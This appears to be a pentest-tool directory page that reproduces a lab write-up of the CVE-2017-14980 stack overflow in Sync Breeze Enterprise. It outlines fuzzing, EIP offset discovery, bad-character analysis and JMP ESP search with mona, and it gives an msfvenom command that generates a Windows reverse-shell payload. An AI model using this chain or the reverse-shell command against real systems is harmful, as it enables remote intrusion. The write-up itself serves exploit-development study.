Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2017-14980 — Study of a classic stack-based buffer overflow vulnerability in a controlled lab environment for educational purposes. | Kitploit
Tools/GitHubGitHub/godoy-sec/cve-2017-14980
ExploitationDebuggersFuzzingLearning & EducationShellcode GenerationPayload DevelopmentBinary ExploitationLabs & Practice
GitHubgodoy-sec/cve-2017-14980

CVE-2017-14980

Study of a classic stack-based buffer overflow vulnerability in a controlled lab environment for educational purposes.

View Repository
111 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2017-14980

Sync Breeze Enterprise 10.0.28 - Buffer Overflow Research

Objective

Study of a classic stack-based buffer overflow vulnerability in a controlled lab environment for educational purposes.

The objective of this project was to better understand:

  • Application fuzzing
  • Crash analysis
  • EIP control
  • Bad character identification
  • Memory corruption
  • Shellcode execution flow
  • Basic exploit development methodology

Environment

  • Windows 10 Virtual Machine
  • Sync Breeze Enterprise 10.0.28
  • Immunity Debugger
  • Mona.py
  • Python

Lab Setup

The first step consisted of installing Sync Breeze Enterprise 10.0.28 inside a Windows 10 virtual machine configured for vulnerability research and exploit development purposes.

The environment was isolated to ensure safe and controlled testing.

Both virtual machines (target and attacker) were configured using Bridged Network Adapter mode in order to allow direct network communication between the systems during the exploitation process.

Sync Breeze Client

Sync Breeze Client

Sync Breeze Login Page

Sync Breeze Login


Methodology

1. Information Gathering

Debugging tools were configured to analyze the application behavior during runtime and observe the crash conditions.


2. Fuzzing

Large sequences of bytes were sent to the application in order to identify the approximate buffer size required to trigger a crash.


3. Vulnerability Validation

After identifying the crash threshold, the application was tested again using the discovered payload size to confirm the vulnerability.


4. EIP Control

The exact offset required to overwrite the Instruction Pointer (EIP) was identified.

Generate a unique pattern:

root@kitploit:~
/usr/bin/msf-pattern_create -l <SIZE>

Identify the offset:

root@kitploit:~
/usr/bin/msf-pattern_offset -l <SIZE> -q <EIP_VALUE>

Where:

  • <SIZE> = payload length discovered during fuzzing
  • <EIP_VALUE> = 4-byte value observed overwriting EIP

EIP Control Screenshot

EIP Control


5. Bad Character Analysis

Bad characters were identified to determine which bytes could not be safely processed by the application.

Bad Characters File


6. Return Address Identification

A suitable JMP ESP instruction was located in a module without ASLR enabled.

Enumerating loaded modules:

root@kitploit:~
!mona modules

Searching for JMP ESP:

root@kitploit:~
!mona find -s "\xff\xe4" -m <MODULE_NAME>

Preference was given to application-specific DLLs due to the presence of static memory addresses.

Mona JMP ESP Screenshot

Mona JMP ESP


7. Execution Testing

Payload execution flow was validated to ensure correct redirection to the controlled buffer.


8. Shellcode Generation

Shellcode was generated excluding previously identified bad characters.

root@kitploit:~
msfvenom -p windows/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<PORT> EXITFUNC=thread -b "BAD_CHARS" -f c

A NOP sled (\x90) was added before the shellcode to improve payload execution reliability.

Payload Execution Screenshot

Payload Execution


9. Final Exploit Development

The final exploit was assembled and tested successfully inside the isolated lab environment.

Disclaimer

This project was developed strictly for educational and research purposes inside an isolated laboratory environment.

Download Tool